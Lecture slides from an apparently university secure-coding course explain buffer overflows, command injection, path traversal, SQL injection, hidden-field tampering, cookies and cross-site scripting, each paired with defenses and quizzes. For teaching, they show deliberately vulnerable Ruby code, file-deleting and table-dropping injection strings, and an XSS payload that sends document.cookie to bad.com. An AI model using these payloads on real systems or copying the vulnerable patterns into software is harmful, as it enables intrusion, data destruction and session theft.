Building Security In
Security breaches

Just a few:

- **TJX** (2007) - 94 million records*
- **Adobe** (2013) - 150 million records, 38 million users
- **eBay** (2014) - 145 million records
- **Anthem** (2014) - Records of 80 million customers
- **Target** (2013) - 110 million records
- **Heartland** (2008) - 160 million records

*containing SSNs, credit card nums, other private info

The 2017 Equifax Data Breach

- 148 million consumers’ personal information stolen
- They collect every details of your personal life
  - Your SSN, Credit Card Numbers, Late Payments…
- You did not sign up for it
- You cannot ask them to stop collecting your data
- You have to pay to credit freeze/unfreeze
Defects and Vulnerabilities

- Many (if not all of) these breaches begin by exploiting a **vulnerability**

- This is a *security-relevant* **software defect** (bug) or **design flaw** that can be **exploited** to effect an undesired behavior

- The **use of software is growing**
  - So: more bugs and flaws
  - Especially in places that are new to using software
“Internet of Things” (IOT)

Amazon Alexa

Google Home

Stuxnet specifically targets … processes such as those used to control … centrifuges for separating nuclear material. Exploiting four zero-day flaws, Stuxnet functions by targeting machines using the Microsoft Windows operating system …, then seeking out Siemens Step7 software.
The result of their work was a hacking technique—what the security industry calls a zero-day exploit—that can target Jeep Cherokees and give the attacker wireless control, via the Internet, to any of thousands of vehicles.
Driverless Cars
Considering **Correctness**

- **All software is buggy**, isn’t it? Haven’t we been dealing with this for a long time?
- A **normal user never sees most bugs**, or figures out how to **work around** them
- Therefore, **companies fix the most likely bugs**, to save money
Considering **Security**

**Key difference:**

*An attacker is not a normal user!*

- The attacker **will actively attempt to find defects**, using unusual interactions and features
  - A **typical interaction** with a bug results in a **crash**
  - An attacker will work to **exploit** the bug to do **much worse**, to achieve his goals
Cyber-defense?
Security researcher Tavis Ormandy disclosed the existence of a vulnerability which impacts on Kaspersky [security] products. Hermansen, [another researcher,] publicly disclosed a zero-day vulnerability within cyberforensics firm FireEye's security product, complete with proof-of-concept code.

Exploitable bugs

- Some **bugs** can be **exploited**
  - An attacker can control how the program runs so that any incorrect behavior serves the attacker

- **Many kinds of exploits** have been developed over time, with technical names like
  - Buffer overflow
  - Use after free
  - SQL injection
  - Command injection
  - Privilege escalation
  - Cross-site scripting
  - Path traversal
  - …
What is a buffer overflow?

- A buffer overflow is a dangerous bug that affects programs written in C and C++
- **Normally**, a program with this bug will simply crash
- But an **attacker** can alter the situations that cause the program to do much worse
  - **Steal** private information
  - **Corrupt** valuable information
  - **Run code** of the attacker’s choice
Buffer overflows from 10,000 ft

- **Buffer** =
  - Block of memory associated with a variable

- **Overflow** =
  - Put more into the buffer than it can hold

- **Where does the overflowing data go?**

*Learn more in CMSC 414!*
Normal interaction

Instructions

1. print “Password?” to the screen
2. read input into variable X
3. if X matches the password then log in
4. else print “Failed” to the screen

Data

X = abc123

Password?
abc123
Failed
Instructions
1. print “Password?” to the screen
2. read input into variable X
3. if X matches the password then log in
4. else print “Failed” to the screen

Data
X = Overflow!!!!!! 3.log in

Exploitation
Access granted
What happened?

- For C/C++ programs
  - A buffer with the password could be a local variable

- Therefore
  - The input is too long, and overruns the buffer
  - The attacker’s input includes machine instructions
  - The overrun rewrites the return address to point into the buffer, at the machine instructions
  - When the call “returns” it executes the attacker’s code

```c
strcpy(buff, "abc");
```
Stopping the attack

- **Buffer overflows** rely on the ability to **read or write outside the bounds of a buffer**

- **C and C++** programs expect the **programmer** to ensure this never happens
  - But humans (regularly) make mistakes!

- Other languages (like **Python, OCaml, Java**, etc.) ensure buffer sizes are respected
  - The **compiler** inserts checks at reads/writes
  - Such checks can halt the program
  - But will **prevent a bug from being exploited**
Password?  Overflow!!!!! 3. log in

Data

Password?

Overflow!!

Program halted

Instructions

1. print “Password?” to the screen
2. read input into variable X
3. if X matches the password then log in
4. else print “Failed” to the screen
Key idea

• The key feature of the buffer overflow attack is the attacker getting the application to treat attacker-provided data as instructions (code) or code parameters.

• This feature appears in many other exploits too:
  • SQL injection treats data as database queries.
  • Cross-site scripting treats data as browser commands.
  • Command injection treats data as operating system commands.
  • Etc.

• Sometimes the language helps (e.g., type safety):
  • Sometimes the programmer needs to do more work.
Attack Scenarios
The Internet, in one slide

(Much) user data is part of the browser

FS/DB is a separate entity, logically (and often physically)

Need to protect this state from illicit access and tampering
Interception

- **Calls** to remote services could be **intercepted** by an adversary
  - **Snoop** on inputs/outputs
  - **Corrupt** inputs/outputs

- Avoid this possibility using **cryptography** (CMSC 414, CMSC 456)
Malicious clients

- Server needs to **protect itself against malicious clients**
  - Won’t run the software the server expects
  - Will probe the limits of the interface
Passing the buck

- **Server needs to protect good clients** from malicious clients that will try to launch attacks via the server
  - Corrupt the server state (e.g., uploading malicious files or code)
  - Good client interaction affected as a result (e.g., getting the malware)
Defensive measures

- Two key actions the server can take:

  - **Validate that client inputs are well formed**
    - Fallacy: Focus on testing that good inputs produce good behavior
    - Must (also) ensure that malformed inputs result in benign behavior

  - Mitigate harm that might result by **minimizing the trusted computing base**
    - Isolate trusted components, or minimize privilege to precisely what is needed, in case something goes wrong
Quiz 1: What are reasonable assumptions?

Suppose you are writing a PDF viewer that is leaner and better than Acrobat Reader. Which can you assume?

A. PDF files given to your reader will always be well-formed
B. PDF files will never exceed a particular size
C. You viewer will never be used as part of an Internet-hosted service
D. None of the above
Quiz 1: What are reasonable assumptions?

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C. You viewer will never be used as part of an Internet-hosted service
D. None of the above
Validating inputs
What’s wrong with this Ruby code?

catwrapper.rb:

```ruby
if ARGV.length < 1 then
  puts "required argument: textfile path"
  exit 1
end

# call cat command on given argument
system("cat "+ARGV[0])

exit 0
```
Possible Interaction

> ls
  catwrapper.rb
  hello.txt

> ruby catwrapper.rb hello.txt
Hello world!

> ruby catwrapper.rb catwrapper.rb
if ARGV.length < 1 then
  puts "required argument: textfile path"
...

> ruby catwrapper.rb "hello.txt; rm hello.txt"
Hello world!

> ls
  catwrapper.rb
Quiz 2: What happened?

A. `cat` was given a file named `hello.txt`; `rm hello.txt` which doesn’t exist

B. `system()` interpreted the string as having two commands, and executed them both

C. `cat` was given three files – `hello.txt`; and `rm` and `hello.txt` – but halted when it couldn’t find the second of these

D. `ARGV[0]` contains `hello.txt` (only), which was then catted

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exit 0
```

> ruby catwrapper.rb “hello.txt; rm hello.txt”
`Hello world!`

> ls
catwrapper.rb
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system("cat "+ARGV[0])

exit 0
```

> ruby catwrapper.rb “hello.txt; rm hello.txt”
```
Hello world!
```
> ls
```
catwrapper.rb
```

Possible deployment

Client

Browser

GET foo.txt

<output>

Server

Web server

catwrapper.rb
Consequences?

- If `catwrapper.rb` is part of a web service
  - **Input is untrusted** — could be anything
  - But we only want requestors to read (see) the contents of the files, not to do anything else
  - Current code is too powerful: vulnerable to **command injection**

- How to fix it?

  **Need to validate inputs**

  [https://www.owasp.org/index.php/Command_Injection](https://www.owasp.org/index.php/Command_Injection)
Equifax: What happened

- Equifax used Struts which failed to properly vet input prior to using deserialization. Ruby had a similar bug sometime back.

- Vulnerability was discovered in a popular open-source software package Apache Struts, a programming framework for building web applications in Java.

- The framework’s popular REST plugin is vulnerable. The REST plugin is used to handle web requests, like data sent to a server from a form a user has filled out.

- The vulnerability relates to how Struts parses that kind of data and converts it into information that can be interpreted by the Java programming language.

- When the vulnerability is successfully exploited, malicious code can be hidden inside of such data, and executed when Struts attempts to convert it.

- Intruders can inject malware into web servers, without being detected, and use it to steal or delete sensitive data, or infect computers with ransomware, among other things.
Input Validation

- We expect input of a certain form
  - But we cannot guarantee it always has it
    - it’s under the attacker’s control
  - So we must validate it before we trust it

- **Making input trustworthy**
  - Sanitize it by modifying it or using it in such a way that the result is correctly formed by construction
  - Check it has the expected form, and reject it if not
Checking: Blacklisting

- **Reject** strings with possibly bad chars: `' ; --`

```ruby
if ARGV[0] =~ /;/ then
  puts "illegal argument"
  exit 1
else
  system("cat "+ARGV[0])
end
```

> ruby catwrapper.rb “hello.txt; rm hello.txt”

*illegal argument*
Sanitization: Blacklisting

- Delete the characters you don’t want: ‘ ’ ; --

    system("cat "+ARGV[0].tr(";",""))

> ruby catwrapper.rb “hello.txt; rm hello.txt”
Hello world!
cat: rm: No such file or directory
Hello world!
> ls hello.txt
hello.txt
Sanitization: Escaping

- **Replace problematic characters with safe ones**
  - change ‘ to ``
  - change ; to `;`
  - change – to `–`
  - change \ to `\`

- Which characters are problematic depends on the interpreter the string will be handed to
  - Web browser/server for URIs
    - `URI::escape(str,unsafe_chars)`
  - Program delegated to by web server
    - `CGI::escape(str)`
Sanitization: Escaping

```ruby
def escape_chars(string)
  pat = /('"|\.|\*|\/|\-|\;|\|\|s)/
  string.gsub(pat){|match|"\\" + match}
end

system("cat "+escape_chars(ARGV[0]))
```

> ruby catwrapper.rb "hello.txt; rm hello.txt"
cat: hello.txt; rm hello.txt: No such file or directory
> ls hello.txt
hello.txt
Quiz 3: Is this escaping sufficient?

A. No, you should also escape character &
B. No, some of the escaped characters are dangerous even when escaped
C. Both of the above
D. Yes, it’s all good

catwrapper.rb:

```ruby
def escape_chars(string)
  pat = /((\'|"|\.\.\*|\/|\-|\\\|\s)/
  string.gsub(pat){|match|"\\" + match}
end
system("cat "+escape_chars(ARGV[0]))
```
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```ruby
def escape_chars(string)
    pat = /\'|"|\./|\*|\-|\;|\s/;
    string.gsub(pat){|match|"\\" + match}
end
system("cat \"+escape_chars(ARGV[0])")
```
Escaping not always enough

```bash
> ls ../passwd.txt
passwd.txt
> ruby catwrapper.rb "../passwd.txt"
bob:apassword
alice:anotherpassword
```

- A web service probably only wants to give access to the files in the current directory
  - the .. sequence should have been disallowed

- Previous escaping doesn’t help because . is replaced with \. which the shell interprets as .
Path traversal

This is called a **path traversal** vulnerability. Solutions:

- Delete all occurrences of the `. character
  - Will disallow legitimate files with dots in them *(hello.txt)*

- Delete occurrences of `..` sequences
  - Safe, but disallows `foo/../hello.txt` where *foo* is a subdirectory in the current working directory (CWD)

- Ideally: Allow any path that is within the CWD or one of its subdirectories

[https://www.owasp.org/index.php/Path_Traversal](https://www.owasp.org/index.php/Path_Traversal)
Checking: Whitelisting

- **Check that the user input is known to be safe**
  - E.g., only those files that exactly match a filename in the current directory

- **Rationale**: Given an invalid input, *safer to reject than to fix*
  - “Fixes” may result in wrong output, or vulnerabilities
  - *Principle of fail-safe defaults*
Checking: Whitelisting

```ruby
files = Dir.entries(".").reject { |f| File.directory?(f) }

if not (files.member? ARGV[0]) then
  puts "illegal argument"
  exit 1
else
  system("cat "+ARGV[0])
end
```

> ruby catwrapper.rb "hello.txt; rm hello.txt"

*illegal argument*
Validation Challenges

- **Cannot always delete or sanitize problematic characters**
  - You may want dangerous chars, e.g., “Peter O’Connor”
  - How do you know if/when the characters are bad?
  - Hard to think of all of the possible characters to eliminate

- **Cannot always identify whitelist cheaply or completely**
  - May be expensive to compute at runtime
  - May be hard to describe (e.g., “all possible proper names”)
Key Questions

• Which inputs in my program should not be trusted?
  • These start from input from untrusted sources
  • And these inputs influence ("taint") other data that flows through my program
    - And could be stored in files, databases, etc.

• How to ensure that untrusted inputs, no matter what they are, will produce benign results?
  • Sanitization, checking, etc. as early as possible
    - How to do this depends on the program, and how the inputs are used
Quiz 4: As a developer, security is

A. Something I can help address by writing better code
B. Something that writing better code can do little to address
C. Something that is the purview of the government, e.g., DHS
D. Something that will never be solved so long as market forces do not value security

(Pick an answer you think is best)
Security for the Web

Thanks to Dave Levin for some slides
The Web

- **Security for the World-Wide Web (WWW)** presents new vulnerabilities to consider:
  - **SQL injection**,  
  - Cross-site Scripting (**XSS**),

- These share some common causes with memory safety vulnerabilities; like **confusion of code and data**
  - **Defense** also similar: **validate untrusted input**

- New wrinkle: **Web 2.0’s use of mobile code**
  - How to protect your applications and other web resources?
Interacting with web servers

*Resources which are identified by a URL* (Universal Resource Locator)

**http://www.cs.umd.edu/~mwh/index.html**

<table>
<thead>
<tr>
<th>Protocol</th>
<th>Hostname/server</th>
<th>Path to a resource</th>
</tr>
</thead>
<tbody>
<tr>
<td>ftp</td>
<td>Translated to an IP address by DNS (e.g., 128.8.127.3)</td>
<td></td>
</tr>
<tr>
<td>https</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Here, the file *index.html* is **static content** i.e., a fixed file returned by the server

**http://facebook.com/delete.php?f=joe123&w=16**

**Path to a resource Arguments**

Here, the file *delete.php* is **dynamic content** i.e., the server generates the content on the fly
Basic structure of web traffic

- HyperText Transfer Protocol (HTTP)
  - An “application-layer” protocol for exchanging collections of data
**Basic** structure of web traffic

- **Requests contain**:
  - The **URL** of the resource the client wishes to obtain
  - **Headers** describing what the browser can do

- **Request types** can be **GET** or **POST**
  - **GET**: all data is in the URL itself (no server side effects)
  - **POST**: includes the data as separate fields (can have side effects)
HTTP GET requests

http://www.reddit.com/r/security

User-Agent is typically a browser but it can be wget, JDK, etc.
Referrer URL: the site from which this request was issued.
HTTP POST requests

Posting on Piazza

Implicitly includes data as a part of the URL

Explicitly includes data as a part of the request’s content
Basic structure of web traffic

- **Responses** contain:
  - **Status** code
  - **Headers** describing what the server provides
  - **Data**
  - **Cookies** (much more on these later)
    - Represent *state* the server would like the browser to store on its behalf
HTTP responses

HTTP/1.1 200 OK
Date: Tue, 18 Feb 2014 08:20:34 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
<html> ...... </html>
Quiz 1

HTTP is

A. The Hypertext Transfer Protocol
B. The main communication protocol of the WWW
C. The means by which clients access resources hosted by web servers
D. All of the above
Quiz 1

HTTP is

A. The Hypertext Transfer Protocol
B. The main communication protocol of the WWW
C. The means by which clients access resources hosted by web servers
D. All of the above
SQL injection
Defending the WWW

Long-lived state, stored in a separate *database*

Need to **protect this state** from illicit access and tampering
Server-side data

- Typically want **ACID** transactions
  - **Atomicity**
    - Transactions complete entirely or not at all
  - **Consistency**
    - The database is always in a valid state
  - **Isolation**
    - Results from a transaction aren’t visible until it is complete
  - **Durability**
    - Once a transaction is committed, its effects persist despite, e.g., power failures

- **Database Management Systems** (DBMSes) provide these properties (and then some)
SQL (Standard Query Language)

SELECT Age FROM Users WHERE Name='Dee';

UPDATE Users SET email='readgood@pp.com'
WHERE Age=32; -- this is a comment

INSERT INTO Users Values(‘Frank’, ‘M’, 57, ...);

DROP TABLE Users;
"Login code" (Ruby)

result = db.execute "SELECT * FROM Users
WHERE Name='#{user}' AND Password='#{pass}';"

Suppose you successfully log in as user if this returns any results

How could you exploit this?
SQL injection

```
result = db.execute("SELECT * FROM Users
    WHERE Name='#{user}' AND Password='#{pass}';";

result = db.execute("SELECT * FROM Users
    WHERE Name='frank' OR 1=1; --' AND Password='whocares';";

Always true
(so: dumps whole user DB)

Commented out
```
SQL injection

```
result = db.execute "SELECT * FROM Users
WHERE Name='#{user}' AND Password='#{pass}';"

frank' OR 1=1); DROP TABLE Users; --

```

Can chain together statements with semicolon:
```
STATEMENT 1 ; STATEMENT 2
```
Hi, this is your son's school. We're having some computer trouble.

Oh, dear - did he break something? In a way-

Did you really name your son Robert?); DROP TABLE Students;--?

Oh, yes, little Bobby Tables, we call him.

Well, we've lost this year's student records. I hope you're happy.

And I hope you've learned to sanitize your database inputs.

http://xkcd.com/327/
ZU 0666',0,0); DROP DATABASE TABLE:
SQL injection
countermeasures
The underlying issue

result = db.execute "SELECT * FROM Users
WHERE Name='#{user}' AND Password='#{pass}';"

- This one string combines the **code** and the **data**
  - Similar to buffer overflows
  - and command injection

**When the boundary between code and data blurs, we open ourselves up to vulnerabilities**
The underlying issue

```sql
result = db.execute "SELECT * FROM Users
WHERE Name='#{user}' AND Password='#{pass}';"
```

Intended AST for parsed SQL query

Should be `data, not code`
Defense: Input Validation

Just as with command injection, we can defend by validating input, e.g.,

- **Reject** inputs with bad characters (e.g., ; or --)
- **Remove** those characters from input
- **Escape** those characters (in an SQL-specific manner)

These can be effective, but the best option is to avoid constructing programs from strings in the first place.
Sanitization: Prepared Statements

- Treat user data according to its type
  - Decouple the code and the data

```python
result = db.execute("SELECT * FROM Users WHERE Name='#{user}' AND Password='#{pass}';")
```

```python
result = db.execute("SELECT * FROM Users WHERE Name = ? AND Password = ?", [user, pass])
```

Arguments

Variable binders parsed as strings
Using prepared statements

```
result = db.execute("SELECT * FROM Users WHERE
                    Name = ? AND Password = ?", [user, pass])
```

Binding is only applied to the leaves, so the structure of the AST is fixed
Quiz 2

What is the benefit of using “prepared statements”?

A. With them it is easier to construct a SQL query
B. They ensure user input is parsed as data, not (potentially) code
C. They provide greater protection than escaping or filtering
D. User input is properly treated as commands, rather than as secret data like passwords
Quiz 2

What is the benefit of using “prepared statements”?

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Web-based State using Hidden Fields and Cookies
HTTP is *stateless*

- The lifetime of an HTTP *session* is typically:
  - Client connects to the server
  - Client issues a request
  - Server responds
  - Client issues a request for something in the response
  - …. repeat …. 
  - Client disconnects

- HTTP has no means of noting “oh this is the same client from that previous session”
  - *How is it you don’t have to log in at every page load?*
Maintaining State

- **Web application maintains ephemeral state**
  - Server processing often produces intermediate results
    - Not ACID, long-lived state
  - Send such state to the client
  - Client returns the state in subsequent responses

Two kinds of state: **hidden fields**, and **cookies**
Ex: Online ordering

socks.com/order.php

Order

$5.50

socks.com/pay.php

Pay

The total cost is $5.50. Confirm order?

Yes  No

Separate page
Ex: Online ordering

What’s presented to the user

```html
<html>
<head>  <title>Pay</title> </head>
<body>

<form action="submit_order" method="GET">
The total cost is $5.50. Confirm order?
<input type="hidden" name="price" value="5.50">
<input type="submit" name="pay" value="yes">
<input type="submit" name="pay" value="no">

</body>
</html>
```
if(pay == yes && price != NULL)
{
    bill_creditcard(price);
    deliver_socks();
}
else
    display_transaction_cancelled_page();

Ex: Online ordering

The corresponding backend processing
Ex: Online ordering

What’s presented to the user

```html
<html>
<head>  <title>Pay</title>  </head>
<body>

<form action="submit_order" method="GET">
The total cost is $5.50. Confirm order?
<input type="hidden" name="price" value="0.01">
<input type="submit" name="pay" value="yes">
<input type="submit" name="pay" value="no">

</body>
</html>
```

Client can change the value!
Solution: **Capabilities**

- **Server maintains trusted state** (while client maintains the rest)
  - Server stores intermediate state
  - Send a **capability** to access that state to the client
  - Client **references the capability** in subsequent responses

- **Capabilities should be large, random numbers**, so that they are hard to guess
  - To prevent illegal access to the state
Using capabilities

What’s presented to the user

```
<html>
<head>  <title>Pay</title>  </head>
<body>

<form action="submit_order" method="GET">
The total cost is $5.50. Confirm order?
<input type="hidden" name="price" value="5.50">
<input type="submit" name="pay" value="yes">
<input type="submit" name="pay" value="no">

</form>
</body>
</html>
```

Capability; the system will detect a change and abort
Using capabilities

The corresponding backend processing

```c
price = lookup(sid);
if(pay == yes && price != NULL)
{
    bill_creditcard(price);
    deliver_socks();
}
else
    display_transaction_cancelled_page();
```

But: we don’t want to pass hidden fields around all the time
  • Tedious to add/maintain on all the different pages
  • Have to start all over on a return visit (after closing browser window)
Statefulness with Cookies

- Server **maintains trusted state**
  - Server indexes/denotes state with a **cookie**
  - Sends cookie to the client, which stores it
  - Client returns it with subsequent queries to that same server
Cookies are key-value pairs

Set-Cookie: key=value; options; ....

HTTP/1.1 200 OK
Date: Tue, 18 Feb 2014 08:20:34 GMT
Server: Apache
Set-Cookie: session-zdnet-production=6bhqcali0cbsiagu11sisac2p3; path=/; domain=zdnet.com
Set-Cookie: zregion=MTI5jluMTI5JElMzp1czipjZDjmnWY5YTdkODU1N2Q2YzMS5NGU3M2Y1ZTRmNQ
Set-Cookie: zregion=MTI5jluMTI5JElMzp1czipjZDjmnWY5YTdkODU1N2Q2YzMS5NGU3M2Y1ZTRmNQ
Set-Cookie: edition-us; expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=zdnet.com
Set-Cookie: session-zdnet-production=59ob97fpinqeq4byg6ide4dvvq11; path=/; domain=zdnet.com
Set-Cookie: user_agent=desktop
Set-Cookie: zdnet_ad_session=f
Set-Cookie: firstpg=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-UA-Compatible: IE=edge,chrome=1
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 18922
Keep-Alive: timeout=70, max=146
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<html> ....... </html>
Cookies

Set-Cookie: edition=us; expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=.zdnet.com

Semantics

- Store “us” under the key “edition”
- This value is no good as of Wed Feb 18...
- This value should only be readable by any domain ending in .zdnet.com
- This should be available to any resource within a subdirectory of /
- Send the cookie with any future requests to <domain>/<path>
Requests with cookies

Subsequent visit
Quiz 3

What is a web cookie?

A. A hidden field in a web form
B. A key/value pair sent with all web requests to the cookie’s originating domain
C. A piece of state generated by the client to index state stored at the server
D. A yummy snack
Quiz 3

What is a web cookie?

A. A hidden field in a web form
B. A key/value pair sent with all web requests to the cookie’s originating domain
C. A piece of state generated by the client to index state stored at the server
D. A yummy snack
Cookies and web authentication

- An extremely common use of cookies is to track users who have already authenticated.
- If the user already visited http://website.com/login.html?user=alice&pass=secret with the correct password, then the server associates a "session cookie" with the logged-in user’s info.
- Subsequent requests include the cookie in the request headers and/or as one of the fields: http://website.com/doStuff.html?sid=81asf98as8eak
- The idea is to be able to say “I am talking to the same browser that authenticated Alice earlier.”
Cookie Theft

- **Session cookies** are, once again, **capabilities**
  - The holder of a session cookie gives access to a site with the privileges of the user that established that session

- Thus, **stealing a cookie** may allow an attacker to **impersonate a legitimate user**
  - Actions that will seem to be due to that user
  - Permitting theft or corruption of sensitive data
Web 2.0
Dynamic web pages

• Rather than static or dynamic HTML, web pages can be expressed as a program written in Javascript:

```html
<html><body>
Hello, <b>
<script>
  var a = 1;
  var b = 2;
  document.write("world: ", a+b, "</b>");
</script>
</body></html>
```
 Javascript

- Powerful web page *programming language*
  - Enabling factor for so-called *Web 2.0*

- Scripts are embedded in web pages returned by the web server

- Scripts are *executed by the browser*. They can:
  - *Alter page contents* (DOM objects)
  - *Track events* (mouse clicks, motion, keystrokes)
  - *Issue web requests* & read replies
  - *Maintain persistent connections* (AJAX)
  - *Read and set cookies*
What could go wrong?

• Browsers need to **confine Javascript’s power**

• A script on **attacker.com** should not be able to:
  • Alter the layout of a **bank.com** web page
  
  • Read keystrokes typed by the user while on a **bank.com** web page
  
  • Read cookies belonging to **bank.com**
Same Origin Policy

- Browsers provide isolation for javascript scripts via the **Same Origin Policy (SOP)**

- Browser associates **web page elements**…
  - Layout, cookies, events

- …with a given **origin**
  - The hostname (bank.com) that provided the elements in the first place

\[
\text{SOP} = \text{only scripts received from a web page’s origin have access to the page’s elements}
\]
Cookies and SOP

Set-Cookie: edition=us; expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=.zdnet.com

Semantics

- Store “en” under the key “edition”
- This value is no good as of Wed Feb 18...
- This value should only be readable by any domain ending in .zdnet.com
- This should be available to any resource within a subdirectory of /
- Send the cookie with any future requests to <domain>/<path>
Cross-site scripting (XSS)
The US Computer Emergency Response Team (CERT) has issued a warning alerting businesses of a flaw in Huawei's popular E355 wireless broadband modem that could be exploited.

"Huawei E355 wireless broadband modems include a web interface for administration and additional services. The web interface allows users to receive SMS messages using the connected cellular network," explained the advisory.

"The web interface is vulnerable to a stored cross-site scripting vulnerability. The vulnerability can be exploited if a victim views SMS messages that contain JavaScript using the web interface. A malicious attacker may be able to execute arbitrary script in the context of the victim's browser."

Huawei has prepared a fixing plan and started the development and test of fixed versions. Huawei will update the Security Notice if any progress is made," read the advisory.

FireEye director of technology strategy Jason Steer told V3 hackers could use the flaw for a variety of purposes. "Is it bad? Yes, XSS is a high-severity software flaw, because of its prevalence and its ability be used by attackers to trick users into giving away sensitive information such as session cookies," he said.

"By allowing hostile JavaScript to be executed in a user's browser they can do a number of things. The most popular things are performing account takeovers to steal money, goods and website defacement. If you could get an admin account then you can start changing settings and having other impacts on the user."

"V3 warns of Huawei WiFi vulnerability. Security advisory released by the US. Huawei E355 wireless broadband modems include a web interface for administration and additional services. The web interface allows users to receive SMS messages using the connected cellular network. The web interface is vulnerable to a stored cross-site scripting vulnerability. The vulnerability can be exploited if a victim views SMS messages that contain JavaScript using the web interface. A malicious attacker may be able to execute arbitrary script in the context of the victim's browser."
XSS: Subverting the SOP

- Site attacker.com provides a malicious script
- Tricks the user’s browser into believing that the script’s origin is bank.com
  - Runs with bank.com’s access privileges
- One general approach:
  - Trick the server of interest (bank.com) to actually send the attacker’s script to the user’s browser!
  - The browser will view the script as coming from the same origin… because it does!
Two types of XSS

1. Stored (or “persistent”) XSS attack
   - Attacker leaves their script on the bank.com server
   - The server later unwittingly sends it to your browser
   - Your browser, none the wiser, executes it within the same origin as the bank.com server
Stored XSS attack

1. Inject malicious script

2. Request content

3. Receive malicious script

4. Execute the malicious script as though the server meant us to run it

5. Steal valuable data


GET http://bank.com/transfer?amt=9999&to=attacker
Stored XSS Summary

- **Target**: User with *Javascript-enabled browser* who visits *user-influenced content* page on a vulnerable web service

- **Attack goal**: run script in user’s browser with the same access as provided to the server’s regular scripts (i.e., subvert the Same Origin Policy)

- **Attacker tools**: ability to leave content on the web server (e.g., via an ordinary browser).
  - Optional tool: a server for receiving stolen user information

- **Key trick**: Server fails to ensure that content uploaded to page does not contain embedded scripts
Remember Samy?

- Samy embedded Javascript program in his MySpace page (via stored XSS)
  - MySpace servers attempted to filter it, but failed
- Users who visited his page ran the program, which
  - made them friends with Samy;
  - displayed “but most of all, Samy is my hero” on their profile;
  - installed the program in their profile, so a new user who viewed profile got infected
- From 73 friends to 1,000,000 friends in 20 hours
  - Took down MySpace for a weekend
Two types of XSS

1. Stored (or “persistent”) XSS attack
   - Attacker leaves their script on the bank.com server
   - The server later unwittingly sends it to your browser
   - Your browser, none the wiser, executes it within the same origin as the bank.com server

2. Reflected XSS attack
   - Attacker gets you to send the bank.com server a URL that includes some Javascript code
   - bank.com *echoes* the script back to you in its response
   - Your browser, none the wiser, executes the script in the response within the same origin as bank.com
Reflected XSS attack

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute the malicious script
   as though the server meant us to run it
6. Steal valuable data

Client

Browser

bad.com

URL specially crafted by the attacker

bank.com
Echoed input

- The key to the reflected XSS attack is to find instances where a good web server will echo the user input back in the HTML response

Input from bad.com:

```
```

Result from victim.com:

```
<html> <title> Search results </title> 
<body>
Results for socks :
...
</body></html>
```
Exploiting echoed input

Input from bad.com:

```
<script> window.open(
    "http://bad.com/steal?c="
    + document.cookie)
</script>
```

Result from victim.com:

```
<html> <title> Search results </title> 
<body>
Results for <script> ... </script>
...
</body></html>
```

Browser would execute this within victim.com’s origin
Reflected XSS Summary

- **Target**: User with *Javascript-enabled browser* who uses a vulnerable web service that includes parts of URLs it receives in the web page output it generates.

- **Attack goal**: Run script in user’s browser with the same access as provided to the server’s regular scripts.

- **Attacker tools**: Get user to click on a specially-crafted URL. Optional tool: a server for receiving stolen user information.

- **Key trick**: Server does not ensure that it’s output does not contain foreign, embedded scripts.
Quiz 4

How are XSS and SQL injection similar?

A. They are both attacks that run in the browser
B. They are both attacks that run on the server
C. They both involve stealing private information
D. They both happen when user input, intended as data, is treated as code
Quiz 4

How are XSS and SQL injection similar?

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Quiz 5

Reflected XSS attacks are typically spread by

A. Buffer overflows
B. Cookie injection
C. Server-side vulnerabilities
D. Specially crafted URLs
Quiz 5

Reflected XSS attacks are typically spread by

A. Buffer overflows
B. Cookie injection
C. Server-side vulnerabilities
D. Specially crafted URLs
XSS Defense: Filter/Escape

• Typical defense is **sanitizing**: remove all executable portions of user-provided content that will appear in HTML pages
  • E.g., look for `<script> ... </script>` or `<javascript> ... </javascript>` from provided content and remove it
  • So, if I fill in the “name” field for Facebook as `<script>alert(0)</script>` then the script tags are removed

• Often done on blogs, e.g., WordPress

  https://wordpress.org/plugins/html-purified/
Problem: Finding the Content

- Bad guys are inventive: *lots* of ways to introduce Javascript; e.g., CSS tags and XML-encoded data:
  - `<div style="background-image: url(javascript:alert(’JavaScript’))">...
  - `<XML ID=I><X><C><![CDATA[<IMG SRC="javascript:alert(’XSS’);"]]></>`

- Worse: browsers “helpful” by parsing broken HTML!

- Samy figured out that IE permits javascript tag to be split across two lines; evaded MySpace filter
  - Hard to get it all
Better defense: White list

• Instead of trying to sanitize, ensure that your application validates all
  • headers,
  • cookies,
  • query strings,
  • form fields, and
  • hidden fields (i.e., all parameters)

• … against a rigorous spec of what should be allowed.

• Example: Instead of supporting full document markup language, use a simple, restricted subset
  • E.g., markdown
Summary

- The source of many attacks is carefully crafted data fed to the application from the environment.

- Common solution idea: all data from the environment should be checked and/or sanitized before it is used.
  - Whitelisting preferred to blacklisting - secure default.
  - Checking preferred to sanitization - less to trust.

- Another key idea: Minimize privilege.
Quiz 6

The following Ruby method is vulnerable to the following attacks

```ruby
def execCopy
  src = ARGV[1]
dest = ARGV[2]
system("cp "+ ARGV[1] + " " + ARGV[2]);
puts "File copied"
end
```

A. SQL injection
B. command injection
C. use after free
D. buffer overflow
Quiz 6

The following Ruby method is vulnerable to the following attacks

```ruby
def execCopy
  src = ARGV[1]
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  system("cp " + ARGV[1] + " " + ARGV[2]);
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A. SQL injection
B. command injection
C. use after free
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